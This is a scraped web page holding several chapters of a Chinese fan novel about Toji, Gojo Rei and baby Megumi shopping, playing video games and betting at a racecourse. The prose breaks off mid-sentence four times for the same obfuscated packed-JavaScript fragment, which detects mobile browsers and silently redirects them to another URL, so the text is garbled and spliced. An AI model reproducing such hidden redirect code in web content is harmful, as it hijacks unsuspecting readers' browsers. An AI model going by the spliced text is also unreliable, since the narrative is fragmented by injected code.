l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809180|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提仓库里找货品时,甚尔盯着她,忽然这么说。 “有、有吗?”五条怜心虚地挠挠头,“没有吧。” 明明就有。在一语道破之前,她的眉梢要快扬到天上去了。 甚尔懒得戳穿她了,轻哼一声,继续对着货号找家具,把宽大的购物车装得满满当当,结果结完账推到楼下才想起昨天租的车早就还回去了,就算没还也装不下这么多大件家具,只好灰溜溜的跑回收银台问是不是能追加配送服务,好在没人会不想多赚一笔配送费。 “你该提醒我的。” 把找零塞回钱包,甚尔埋怨的话语,五条怜一点都没明白,就算是困惑地眨了眨眼,也还是一头雾水:“该提醒你什么?” 他从鼻子里轻哼一声:“没事了。” “哦……” 所以他想说的到底是什么呀?完全不懂。 五条怜撇撇嘴,决定丢掉这点茫然,跟在甚尔身后,一起走向商店街。 呲啦呲啦,炸着可乐饼的小铺好热闹,拐角处的咖喱店直到这个点也还是顾客众多,贴满了黄色打折标签的蔬菜店也挤满了阿姨太太们。 这条街上热闹的一切都忍不住让人想要侧目,但他们的目标是尽头的电器行。只要穿过这些喧闹的店铺,就能看到摆在店门口巨大的落地式液晶电视了。 “总之,电视机是非常有必要的。”顿了顿,甚尔添上一句,“是生活必需品。” 是……是吗? 五条怜真不想质疑他的话,但果然还是免不了茫然。 所谓的生活必需品,指的应该是没有就活不下去的意思吧。 以前还住在五条家的时候,她的屋子里可不会有电视机这种东西——事实上大多数人的房间里都不会装上这么一个黑漆漆的方盒子。阿悟的房间里倒是有,所以她以前能够旁观他通关了整部最终幻想7。 有电视机的阿悟活得好好的,没有电视的她还有五条家其他讨厌的人也没嗝屁,由此大概就能得出结论了,显然电视机不是什么生活必需品。 在她暗戳戳地想了这么一大堆乱七八糟的空当里,甚尔已经毫不犹豫地买下了门口展示的那款最新落地式液晶电视,标价上的零多到只消看上一眼就足够让人昏过去了。店主的态度变得殷勤到可怕,捏着嗓子说了好多恭维话,敬语也多到让人想要昏厥了。 甚尔一点都没认真听这个秃顶老头在说什么,尽管对方面前,视线却在四下打量,扫过电风扇与摆着的柜式空调,然后落在了不远处的游戏机上,盯了一小会儿,忽然收回视线,盯着五条怜,又垂眸看向躺在婴儿车里熟睡的禅院惠,不自觉摸了摸下巴,而这显然是他冒出了什么糟主意的前兆。 五条怜猛抖了一下,头默默后退了几小步。 必须承认,有那么一个短暂的瞬间,她真的有点后悔把禅院惠一起带出门了。 暗戳戳想着要不干脆这么退出他的视线好了,忽然看到他下定决心般点了点头。 “我给惠买台游戏机吧!” 他摆出一副好爸爸的姿态说。 50.游戏机 看着甚尔真挚的(其实也没有那么真挚)眼神,有那么一秒钟,五条怜仿佛看到了十年后抱着游戏机手柄坐在电视机前、脑袋上尖刺似的发丝被电风扇的吹得晃荡不止的小海胆——啊,那时候可能称得上是大海胆了。 大海胆与电视游戏中的魔人激战正酣,完全听不到外界的半点动静。她悄声走近,绕到前面一看,才发现大海胆居然完全继承了甚尔的这副面孔,连死鱼眼都如出一辙。 五条怜被吓醒了,猛地从幻想中脱身,一抬头,对上的居然还是甚尔的死鱼眼。她又大吃一惊,差点以为自己扎根在无厘头的想象中无法脱身了。 “你发呆干嘛?”甚尔撇撇嘴,对她不认真的模样不太开心,“既然站在别人面前,那就好好听人说话。” “是是是……” 她一股脑点头,尴尬得无话可说,只好回想着甚尔刚说的那句话,想着想着就觉得不对劲了。 小海胆现在还只是小海胆而已呢,怎么就需要游戏机……不对,明明就是自己甚尔想要嘛,怎么能拿孩子当借口呢! 不知从何而来的正义感瞬间冲进心头。想想十年后的大海胆,五条怜认为现在的自己必须说点什么。 “甚尔……先生!”她搬出了久违的尊称,不着痕迹地把婴儿车往自己身边拉近了一点,“您不可以把自己的欲.望强行放在孩子的身上!” 拙劣的借口果然一下子就被戳穿了。 当事人是否感到别扭或是尴尬,从表情看来实在无从得知,他只无奈地摆了摆手:“行吧行吧,是我自己想要,这么说你满意了吧?” 满意?唔…… 五条怜摸摸下巴,有点犹豫。她不知道该怎么回答才比较合适。 虽然甚尔此刻状似服软的表情确实很值得欣赏没错,但她好像不是出于这个目的才特地指正他的? 说实在的,目的究竟为何,早就已经不重要了。 坦白事实之后,甚尔俨然一副赎罪结束的轻快模样,彻底正大光明地踱到游戏机的柜台前,听着秃了顶的店主大叔喋喋不休介绍着每款游戏机,目光总在不经意间扫过他的脑袋。没办法,五条怜只好推着婴儿车跟上了。 啊,可不是因为她对游戏机有多么感兴趣,纯粹只是不想被甚尔甩在身后罢了——仅此而已! 游戏机琳琅满目,按照颜色分类的游戏卡带也摆得齐整,如同三十六色油画棒那样颜色分明。 最新式的游戏主机摆在柜台上方,最显眼的当然是以前就在广播新闻里听到过、销量高到惊人的PlayStation2,几乎快要退出市场的世嘉土星也还在售卖中,摆在旁边的彩色方形游戏机则是任天堂GAME CUBE。 “这台机器的简称是NGC哟。”光滑的秃顶脑袋摆出一副很专业的姿态,说着的倒都是挺简单的一些事情,“同理,PlayStation2的简称就是PS2。” 还不如不说了。 大概是因为甚尔已经买下了一台新电视,所以店主认定他是游戏主机的潜在客户,也可能是主机的利润相当可观,总之这颗光滑的脑袋卯足了劲,一直在说摆在玻璃柜台上的这些游戏主机的事情。 至于隔了一层玻璃、就摆在柜台里头的掌机,他看也不看,更懒得多提几嘴、五条怜有点失望,可怜巴巴地扒在柜台旁边,盯着里头的好几台机器。 明明是掌机更有意思啊。她郁闷地想。 比如像是角落里那台GAME BOY,小时候阿悟就很常玩,听说是某一年他的生日礼物,正巧游戏机的出厂日期就是与他出生日完全相同的1989年12月7日。 后来GAME BOY升级换代,变成了GAME BOY ADVANCE,于是拿在五条悟手里的小巧游戏机变成了红色的GBA。他有段时间很着迷于一款破案游戏,五条怜七七八八地旁观着看完他通关了,却怎么也不明白这款时不时就会冒出“我有异议!”的骇人动静的游戏到底有趣在哪里。 ……她也很不明白,直到现在还能轻易地想到五条悟的自己到底是怎么回事。 或许她也需要一台GBA,说不定多摁上几回十字键就能把脑袋里的杂念全都戳出去了。 “啊,您想要这款是吗?明白了——” 光滑脑袋忽然上下大幅度动个不停,原来是在点头哈腰。每句话的尾巴也被拖成市侩的长音。 五条怜回过神来,终于从柜台里的那些掌机收回目光。原来甚尔已经挑好心仪的游戏机了,光滑脑袋正在忙着打包呢。 不知该算是意料之中还是怎么样,被收进购物袋的是PS2,而不是方形可爱的NGC,更加不会是一只脚已经踏进了坟墓里的世嘉土星。 她忍不住眨了眨眼,把疑惑憋到出店外之后才说:“为什么不选NGC?” 总觉得要是再店里说出困惑,光滑脑袋一定会科普一大堆她听得懂的或是听不懂的。 五条怜不想看到一颗鸡蛋在眼前晃悠不停,她只想和甚尔一个人讨论这个算得上五条怜的话题。 “哪有什么为什么。”甚尔撇了撇嘴,说着模棱两可的话,“倒是你,很喜欢NGC吗?” “唔——” 其实也没有啦,毕竟她不懂游戏机和游戏。她只是纯粹地觉得,GAME CUBE都比PS2漂亮多了。 “而且任天堂的名字里还有个‘天堂’呢。”五条怜一本正经。 这听起来多酷呀! 不算意外,说完之后就被甚尔白了一眼。 “没品。”又是这个评价。 但好消息是,五条怜免疫了。 “哦。”甚至还能给出这种很没劲的回答,“知道了。” 没有恼羞成怒的“啊啊啊啊你别说啦!”,也没有一本正经的自我辩解,那么“没品”的评价就会变得彻底无趣。 甚尔无话可说。 “喜欢的话就自己买去吧,你也不是没钱。”只丢下这么句嘀咕,他便迈步向前了。 所以,在这场至关重要的新居大采购中跟着手提纸袋一起到家的游戏机。 一小时后,液晶电视也被送上了门,硕大一个,摆在客厅靠墙的正中央,存在感十足。 再然后,就什么都没有被送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815464|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 约定好六点钟前到家的家具迟迟不来,倒是很准时地在五点五十九分接到了来自对方的电话,一连串的“真是非常抱歉”里夹杂着自己运力不足的遗憾、对他们无法准时收到商品的歉意,另外还掺杂了一丁点对他们买了太多家具的偷偷摸摸的抱怨。 归根结底就是,今晚也没有床能睡了,因为他们出门后完全把买被子这件事忘得一干二净。甚至连把折叠椅都没想起来要买,以至于他们依然只能盘腿坐在客厅的地板上。 但这也没关系——红着眼睛打了一整晚《生化危机》的禅院甚尔会用自己的亲身经历证明,坐在地板上打一整晚游戏绝对比直接睡在地板上好多了! 至于坐在他身旁,像个不倒翁那样摇来晃去的小家伙……抱歉,请先不要把她视作上述理论的样本。 “你要是困的话,去睡觉不就好了?”盯着电视机目不转睛,甚尔的死鱼眼都要变得更加死气沉沉了,“在我视线范围里动来动去,我想留意不到都难。” “抱歉……但我,我不想睡在木地板上了。” 她悄悄地往后挪了挪。 恰好是在同一刻,电视上跳出一张丧尸的大脸,苍白皲裂的面孔与鲜血漓淋的大口,瞬间把盘旋在脑子里的睡意吓飞了。她匆匆忙忙捂住心口,以免自己一不小心就被吓到撅过去。 这么看来,还是勉强将她加入“打游戏好过睡地板”这番理论的证明人行列之中吧。 甚尔懒得再说她了,举起手臂伸了个懒腰,操作主角杀死了这片地图中的最后一只丧尸,便把手柄丢给五条怜了。 “呶,你来吧。”他换了个坐姿,靠在电视机的包装箱上,“我看着你玩。” 五条怜难以置信:“真的呀?” 这么一来,甚尔不久变成以前的自己了嘛——她就总是旁观五条悟打游戏。 一晚没睡,多少有点头昏脑胀的。甚尔按着眉心,长叹了一口气:“你怎么总是喜欢质疑我?” 每次向五条怜抛出一句话,有八成的概率还是只能收到一句反问,问了简直如同白问。 对于自己的小缺点,五条怜本人一无所知,也完全没有感觉。不过,貌似惹得甚尔有点不开心了,这一点她还是知道的。她抱歉地笑笑,赶紧替自己挽回局面。 “没有质疑您的意思!”尊称又被搬出来了,“我只是太惊喜了,惊喜得难以置信。” “哦——” 一声应答被他拖得长长的,意味不明。她也不说话了,立马接过手柄,化身为屏幕中的新官上任小警察,穿梭在丧尸横行的警局之中。 漆黑而幽暗的通道,危机四伏的地图,寂静到没有半个音符的BGM。一群丧尸跑了出来,这注定将是一场艰苦的战斗。 五条怜屏住呼吸!五条怜握紧手柄!五条怜艰苦奋战! 并且坚持了短短十秒钟,然后惨兮兮地死了。 五条怜沉默。 看着屏幕上血色的“GAME OVER”,甚尔久久地说不出话。 “……好菜。” 他终于给出了超越“没品”的评价。 51.恶魔之子 好消息好消息,甚尔对五条怜的评价升级啦——但是负面评价! 被困倦与丧尸以及“GAME OVER”接连打击了一通的五条怜已经快要麻了,而甚尔的一句“好菜”更是会心一击,成功把她心中本就不多——现在更是所剩无几的信心彻底击碎,最后的那点生命力都要伴随着叹息声一起被吐出身体里了,连句道歉的话都说不出来。 看着她这副消沉到几乎快要褪色的模样,甚尔只觉得惊讶,倒是半点没想到自己也是始作俑者之一。但五条怜久久没有重新开始游戏,这点难免叫他有点烦躁。 “好啦好啦。”由他说出这种话,听起来倒有点安慰的意味在了,“打游戏很菜也是没办法的事情,多看着点我是怎么玩的吧。” 说着,他伸手去拿五条怜捏在手中的手柄,还摆出了一副得意模样,势要展现出自己的榜样作用。 结果操作的主角毫不意外地死了。 看着主角惨兮兮倒地,五条怜瞬间活过来了。 原来甚尔也GAME OVER了呀! 绝不是什么幸灾乐祸的情绪在作祟,也当然没有在偷笑或是窃喜。瞬间明媚起来的情绪,纯粹只是因为她意识到,甚尔好像也没有那么厉害。 “喂。把你嘴角露出来的笑收一收。”甚尔耷拉着面孔,显然是明媚不起来,很固执地又问了句,“看我输了就这么高兴?” “没有没有没有。”她一股脑摇头,飞快地给自己找到了借口,“我只是在想……这关好像挺难的。所以我会努力的!” “在这种方面还是别付出多余的努力了。” 毕竟只是游戏而已嘛。 再来一局,结果依然以可怜兮兮的惨败结束。 不知道是不是输的次数有点多了,沉重的昭告失败的BGM中居然还添上了一点婴儿哭声,将失败的绝望感拉满到了极点,听得人头皮发麻。就算是按下了重新开始,哭声还是没有停下。 ……哎呀,不对! 五条怜像狐獴似的倏地立直了身,不算太灵敏的耳朵终于捕捉到了哭声的正确来源。 “那个……”她抹了抹心虚的冷汗,凑近甚尔身边,“是不是惠惠在哭来着,” 甚尔迟钝地“啊”了一声,抬手挠挠头,一副满不在意的模样——也可能是装作不那么在意吧。 “可能是。”他嘀咕着,不晓得他会不会也冒出了一点心虚感,“你去看看。” 既然还能差使别人干活,看来心虚对他来说是半点都不会有的。五条怜赶紧起身,小跑着冲进房间,不加掩饰的哭声也倏地冲进耳朵里,带来了比游戏中的丧尸还要鲜活的惊恐感。 其实禅院惠哭了有一阵了,只是外头两位大人(这次姑且把五条怜纳入“大人”的行列之中)太沉迷于游戏的话题,谁都没有发现他闹出的动静。 把小海胆喂饱,再晃悠晃悠哄上一小会,他还是倔强且哼唧哼唧地哭着。五条怜万策尽了,只好抱着他回到客厅,紧挨着甚尔坐在一起。 很久以前她就发现了一件奇妙的事,只要把禅院惠带到甚尔身边,一切闹腾的或是棘手的哭闹,都能瞬间消停大半,仿佛他身边围绕着什么特别的结界一样,特别神奇。 正如现在,一仰头看到甚尔的侧脸,小海胆闹腾的动静就减半了,乖乖坐在五条怜的膝头,只剩下了一点哼唧哼唧的声音。 甚尔激战正酣,连身旁多了只海胆都没发现——他还卡在那一关过不去——只顾着捏紧手柄,一枪一个丧尸。忽地怪物冲到了屏幕前。 这段恶作剧般的惊吓每次都会跳出来,而每回都能被精准地吓到,就算已经有所预料,也还是免不了被短暂的惊吓带来短暂的空白,而这一瞬的空白显然就是最大的胜败因子了。 当怪物的苍白大脸贴在画面上,五条怜很不争气地又被吓到心脏突突跳。怀里的小海胆也不安分起来,左右扭着身子。 也是也是,对于小屁孩的自己来说,这一幕都足够具有冲击力,比她小了这么多的迷你小屁孩收到的惊讶程度,肯定会比自己高上不少。她有点后悔了,真不该把小海胆带过来的。 五条怜满怀歉意低头,在心里盘算着该怎么才能把小海胆哄好,一低头,对上的居然是小海胆笑嘻嘻地兴奋面孔。 是的,笑嘻嘻的。 他笑起来了。 ……居然,笑起来了? 惊讶地盯着手舞足蹈的小海胆,五条怜大受震撼。 禅院惠,你原来是喜欢混沌和恐惧的恶魔之子啊!——顺便冒出了这种很不妥帖的想法。 要是真按照这种念头的话,甚尔不就变成恶魔了嘛。 赶紧甩甩脑袋,把乱七八糟的念头统统丢出去,再稍稍侧过身子,手动将小海胆的视线从电视上移开,免得他越看越高兴。在这片刻忙碌的当口,甚尔也终于突破了瓶颈,顺利带领男主角步入下一关。 这算得上好事一桩,不过欢呼雀跃倒是没有的。甚尔接着沉着脸打游戏,五条怜也安安静静窝在他身边旁观者,时不时带上禅院惠一起,一直看到游戏通关,而后再开始玩起新作。 从《生化危机》玩到《最终幻想》,然后是《勇者斗恶龙》和《古墓丽影》,在游戏机手柄的啪嗒啪嗒声中,夏日燥热的温度乘着电风扇的叶片吹进家里。 这一整个夏天,甚尔家都悠悠闲闲的,像是被套上了一层闲散buff,家里的所有人都得到了这份算得上美好的增益。 小海胆自不必说,他现在的职责就是吃饱喝足然后睡觉,热到发烫的天气根本没办法出门散步,还不如在家里吹着空调探险更好呢。 五条怜就更不必说了,她本来就是大闲人一个,唯一算得上正经的工作也就只是照顾小海胆。到了夏天,连散步的苦差事都能免了,简直是不能再好。 至于甚尔……嗯,他相当让人捉摸不透。 他居然也悠闲地度过了整个夏天。 杀手工作貌似为零,可能是因为夏天本来就不是什么适合感肮脏活计的季节——尸体会臭出来的嘛。 除此之外,小白脸的工作也没有半点进展。他连日泡在家里,约会什么的一概没有,不晓得的还以为他的蛰伏不动是在为了上一段惨烈的分手守忠呢,但五条怜知道,他对夏梨的感情可还没有浓烈到这种程度。 啪嗒啪嗒啪嗒,还是继续玩会儿游戏吧。 正如来时那样,恼人的燥热感会悄悄溜走,像是熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818887|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透的梨子,悄无声息地从枝头掉落,“啪”一下摔成泥。 “你觉不觉得最近挺无聊的。” 啪——脑海中梨子落地的声音当真在耳边响起了。五条怜抬头才发现甚尔把手柄丢到了沙发上。难怪听起来格外敦实呢,她想。 “最近呀?唔,该怎么说呢……”她想找个合适的形容词,“我觉得每一天都差不多。” 大可以把这句话理解为,每一天都挺无聊。 甚尔轻轻咋舌,感觉到这样的日常有点不妙。 “果然还是得做点什么才行……看看有没有什么工作吧。” 说着,他就掏出了手机,开始给认识的几个中间人打起电话,没想到收获全是零。 最过分的当属孔时雨了,他居然毫不留情地质疑起他的经济状况是不是出了问题。虽然八成概率这话只是玩笑,但还是气到让人想要挂断电话。多说一点的心思也彻底消失无踪,甚尔懊恼地瘫在沙发上,叹了口气。 这个反应,貌似有点不妙。 五条怜瞬间警惕起来了,一步一步挪到沙发旁,飞快地打量了他几眼,这才开口。 “我们没钱了吗?” 一开口就是过分现实主义的质问。 刚在孔时雨那里吃了瘪,没想到还要在自己家遭遇直击灵魂的质问。甚尔撇嘴,郁闷地抱起手臂。 “小屁孩不用担心这种事。”他咕哝着。 “哦……”这真的不是在顾左右而言他吗?“要是有什么我能帮上忙的,就尽管说吧!” “你嘛。嗯——” 他摸摸下巴,似乎当真开始思考起来了,可惜五条怜没办法钻进他的脑袋里一探究竟——其实她真的很好奇。 就这么琢磨了一小会,甚尔垂下手。嘴角那道短短的伤疤拉扯了一下,像是在笑。 “去个充满梦想的地方吧。”他坐起身,抬了抬眼皮,“你要不跟着一起去?” 充满梦想的地方…… 上一秒还迷茫得毫无头绪,下一秒五条怜的脑袋里就自顾自放起了焰火,旋转木马和摩天轮还有过山车全都自顾自转悠起来,瞬间变成了一片热闹光景。 充满梦想的地方,绝对是游乐园没错啦! 五条怜疯狂点头。 “去的去的,我要去的!”兴奋之余也不能忘了小海胆,“那要把惠带上吗?” “不了,他不适合去那种地方。” “啊——对对对。” 又是一股脑疯狂点头。 是了是了,她听说过的,游乐园的很多设施都有身高限制,就算不知道具体的限制要求到底是多少,也能猜想到小小一只的小海胆肯定不符合要求。 无论如何,希望自己一定要超过身高限制啊! 五条怜暗暗在心里该自己打气。 事不宜迟,隔天就出发吧。 渐渐凉爽起来的秋风推着他们前进,巨大的银色弧形建筑物出现在眼前,卷起一股草料的气味,欢快乐声从建筑物的背侧传来,能够看到那里有一大片空地。五条怜揉揉双眼,难以置信地看着蜂拥的人群与立在眼前的牌匾。 此处就是充满梦想的地方—— ——东京竞马场! 52.赛马场 梦想、赌徒,还有赛马。 能够让这听起来丝毫不搭腔的几个词汇聚在同一处的场所,大概就只有赛马场了吧。 期待彻底落空。 五条怜的内心毫无波动,甚至已经不想问甚尔为什么要把赛马场称作是“充满梦想的地方”了。 只要望一眼便能知道,眼前这群手持赌注双眼通红的家伙赛马狂人们,肯定怀揣着想要押中冠军马的梦想。 不管怎么说,一举赌赢的梦也是梦想嘛。 所以质疑什么的完全用不着发表了,消沉也完全没必要。但五条怜还是忍不住把脸埋在了手心里,伤心到不想再多看竞马场一眼。 她果然是想太多了。禅院甚尔这种人,怎么可能带她去游乐场玩啊! 对游乐场怀有期待的自己也像个笨蛋! “喂喂喂。”甚尔用手臂轻轻推着她,还想歪过头去看她的表情,“不高兴啦?” 五条怜总算垂下手,无奈地叹了口气,说出一句显而易见的谎话:“没有。” 甚尔不依不挠:“那你垂头丧气的做什么?快把你的这副表情收起来,太晦气了,肯定会影响我今天的运气。” 你这家伙真的有运气可言吗?五条怜心里冒出了这种大逆不道的言论。 当然了,既然大逆不道,那她绝对是不会轻易说出口的,叽咕着念叨的依然是谎话:“没有垂头丧气。倒是您,带我来赛马场干什么?” 虽说东京竞马场是很正经的国立机构没错,但毕竟带了点不妙的金钱色彩,怎么看都不像是小屁孩适合来的地方。 五条怜估摸着,自己说不定在门口就会被安保人员拦下来,却没想到就连安保都在很认真地讨论今天那匹马能够摘得桂冠,五条怜和甚尔就这么大剌剌地走了进去,瞬间梦想的铜臭味扑面而来,吹得她的头发都乱了。 赶紧捋捋头发,把飞到头顶上的刘海拨回原位。 四下看看,这里的每个人都捏着至少一张赛马券,捏着铅笔蹙紧眉头,分外认真的模样,看起来真像是在研究一道难题,而不是在纠结今天赢钱的概率。她甚至还看到了一个捧着赛马剪报的夸张男人,贴满剪报的手账厚厚一沓,得用皮筋捆住才能合拢。 这么专业,想必他下定的赌注肯定很准吧。 五条怜收回目光,表情瞬间垮下去了。 好嘛,和这里的所有人一样,现在甚尔手里也拿上赛马券了。 “所以,带我来这里是为了什么?”她必须得抛出这个问题了。 不用想,甚尔绝对不可能因为赛马多有趣所以才带着她一起过来的。 “别急嘛。”他按着手里的自动铅,咔哒咔哒了好几声铅芯还是没弹出来,他无奈地甩了甩铅笔,嘀咕说,“你饿了吗?” “饿?唔……”五条怜闭起眼,很认真地感受了一下,这才给出答案,“还好。” 甚尔的手伸进了口袋里,摸出几张钞票给她:“那就去这条通道尽头的小摊买点东西吃吧,随便买什么都行,顺便帮我带杯啤酒。啊,再顺便看看这条路上其他人手里的赛马券选了哪匹马。你的眼睛很好,不是吗?肯定一眼就能把所有结果尽收眼底吧。” 最重要的事情被他说成了顺便,真是有够本末倒置的,五条怜忍不住想做鬼脸。 但不管怎么说,至少现在终于知道了甚尔的本意,倒也不算是坏事一桩。 她应了一声“哦”,接过甚尔递来的钱,数也不数就塞进了口袋里。 “看到其他人的选择结果,然后呢?”她还是有点疑惑,“你要随大流,和大家选一样的马吗?” 甚尔轻哼一声,随便找了条没人的长椅坐下:“我可不要做别人的跟屁虫。” 这是在暗地里贬低自己这条跟屁虫吗?五条怜暗戳戳地想。 “总之快去吧。”他摆摆手,催她别再停在这里,“否则人家赛马券都要交上去了。” “知道了知道了。” 都被催促了,当然没办法磨蹭。尽管多少还是有点不情愿,五条怜也只好迈步前行了。 赛马场内的通道开阔而崭新,大概是不久之前才刚翻新过,一侧连接着通往观众席的通道,能看到绿色的草场,即将参赛的赛马停在休整跑道上,看起来有些急躁的模样。今天天气不错,远处的富士山清晰可见……啊不对,现在可不是欣赏风景的时候。 五条怜收回目光,重新注视着眼前的一种梦想。 有句话甚尔说得没错,一眼收尽赛马客们手中的选择,确实是可行的事情,但这是在极度理想的情况下才能实现的完美情况。 现状是,观众们站得七零八落,有的靠在墙面上,有的弓身咬指甲,碍事的躯体挡住了赛马券上的内容。真麻烦。 像只诡异的小老鼠,五条怜小心翼翼地从左边跑到右边,然后又向前走了几步,小脑袋东张西望,期间撞到了八个专注盯着赛马券的男人,顺势收获了三次“你没长眼睛吗!”的亲切问候,还有一回被询问是不是和家里人走丢了。 上述这些意外情况,全都被她以呆愣愣的讪笑搪塞了过去。今天的工作也无比艰难呢。 艰难地踱步到通道尽头的零食小摊,买下一杯啤酒和三明治(选的当然是价目表上最贵的那一款),五条怜又踱步回去了,路上依旧是东张西望收集情报,还好没有撞到任何一个人,否则啤酒和被撞的家伙可就都要倒大霉了。 “最受大家欢迎的是八号!”她指着赛马券,莫名其妙也有点激动起来了,“西海帝王!” “诶……西海帝王啊。” 甚尔看起来一脸嫌弃,也不知道是在嫌弃什么。 “这名字完全就是在抄袭东海帝王嘛。” 啊,原来是出于这个原因。 “东海帝王是什么?”五条怜茫然地眨眨眼。 甚尔看起来兴致缺缺,不过还是替她解释了一下:“是很厉害的赛马。” 好像不是什么很有用的解说,幸好无知的五条怜来说有够受用了。 接着再把其他受欢迎和冷门的选择念出来,大体上今日赛程中赛马们的受欢迎程度就能一目了然了。 “选一号的人最少啊……” 甚尔咬着铅笔,指节敲在赛马券上,发出哒哒的声响。 “也就是说赔率最高?要是侥幸赢了,绝对能大赚一笔。” 光是想想以小博大的可能性,就足够让他冒出一点热血沸腾的激动了。他坐起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825435|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,铅笔落在一号旁边的方框上,几乎都快要画下确认的圆圈了,五条怜碍事的脑袋忽然凑过来,一下子挡住了视线。 “赔率高就能赚更多吗?”她又来问东问西了。 甚尔往旁边挪了挪,不耐烦地点点头:“嗯。” “但前提是能赢才行吧?” “呃——”一下子就被戳中了痛点,他的笔尖默默移开了,“你是在暗示我赌不中冠军马吗?” “您想多了,我没有这种意思。” 话虽如此,甚尔还是轻哼了一声,笔尖彻底从一号的位置挪开,转到其他赛马上去了。 赶在开赛的前一秒,他的赛马券终于递上,选择的果然不是碰瓷意味浓厚的西海帝王,也不是大黑马一号。 到底选了谁,五条怜也没看到,但这大概不重要,毕竟比赛马上就要开始了。 在看台找了个空位置坐下,四面八方全是充满梦想的赌马客——他们的梦当然是一夜暴富。每个人都精神高涨,不自在地攥着拳头,脖子都被憋得通红。这副紧迫的模样看得真叫人紧张。 当起跑地号角吹响,紧迫的气氛飙升到了最顶端,加油声呐喊声瞬间从各个方向炸开来,连椅子都随之猛抖了一下,吓得五条怜差点摔下去。 还好还好,甚尔没有欢呼,否则她的耳膜一定会炸裂的。 但就算是他,在这一刻居然也攥紧了拳头,坐正的上半身紧绷得夸张。 果然是个赌徒呢。她忍不住想。 长长的土色赛道,在骏马的脚下会被压缩得无限短。激烈的欢呼声好像也只持续了短暂的一会儿,便结束了,变成或懊恼或更夸张的呼喊声。甚尔也一下子瘫坐在了椅子上,看来他没赌赢。 不知道算不算得上好消息,今天可不止一场比赛。 于是,啤酒买了一杯又一杯,三明治则一步步从热狗降级到了薯条然后又变成了玉米片。实在吃不下了,最后五条怜只能买点水果糖,一点也不好吃,单是想到那股人工的甜味,也足够让她的胃难受起来了。 从白天比到傍晚,赛马券买了一张又一张。甚尔喝光最后一口啤酒,把纸杯捏烂,丢进出口处的垃圾桶,现在才不太情愿地开始数起口袋里的钞票。 今天输了不少,但也赢了几局。加加减减……其实也没挣多少钱嘛。 梦想,破碎啦。 “我果然是劳碌命吧。” 回程的电车上,甚尔嘀咕着,很郁闷的样子。 “看来这辈子只能靠辛苦工作赚钱了。” 五条怜瞬间get到了他这句话背后的含义,赶紧摆出一副一本正经的认真模样:“我也会好好帮您的!” 甚尔没吱声,片刻后才忽然抬起手,轻轻敲她脑袋。 “你最好是能。” 随着电车摇晃到站,然后去家楼下的托儿所接小海胆——能把禅院惠送去托儿所,还得多亏了五条怜旷日持久的请求呢。 托儿所老师把禅院惠抱过来,一脸小秘密的,好温柔地和她说再见。 “对了,这孩子很安静呢。” 分别时,老师忽然这么说。 “平时在家里,他会经常说话吗?” “呃——” 53.成长指标 ——平时在家里,他会经常说话吗? 不巧,当托儿所老师抛出这个小小问题时,是看着甚尔的。也就是说,解答的权力也被丢给了他,真是有够糟糕的。 和禅院惠有关的问题,甚尔八成都答不上来,更别提如此细节的了。 先讪笑几声吧,然后赶紧向五条怜投去目光,幸好她很快就接收到了自己的求救信号。 “说话的话……正经的‘语言’,好像还没说出来过。”她从甚尔身后探出脑袋,“只会咿呀咿呀的。” “啊——这样呀。” 老师拖长了声应和着,还是笑脸盈盈的,可五条怜总觉得有种不妙的预感。她希望只是自己想多了。 “这个年纪,是不是应该学会说话了?我是说,像我们这样对话?”果然还是很不安,她忍不住问。 “每个孩子的生长阶段都有所不同,有时候不用太着急的。如果实在很担心的话,可以去医院看一看。” “唔……好。” 这话听起来莫名有种即安心又不安的感觉。五条怜不知道该说点什么才好,搪塞地应着声,跟在甚尔身后走回家,可心里总还是忍不住在想老师说的话。 “呐,甚尔。”她加快脚步,小跑到甚尔前头,“如果惠惠不会说话,该怎么办呢?” 真是……直白到毫不掩饰的话语呢。 甚尔换了个姿势,把怀里扭着身子用手抓风的禅院惠抱稳了一点——今天没把婴儿车带过来,只能委屈他成为小海胆的载具了——嘴角一下子耷拉下去了。 “可以别说这种诅咒我儿子的话吗?”他干巴巴地抱怨着。 “……啊!” 是了是了,虽然她不是了不起的咒言术士,但多少还是有点咒力在身上的。要是借着这点没用的力量一语成谶,那绝对是最糟糕的事情。 五条怜赶紧捂住嘴,用力摇了摇头,甩动的发梢打在脸颊上,微微发痛。这也算得上某种程度的忏悔了。 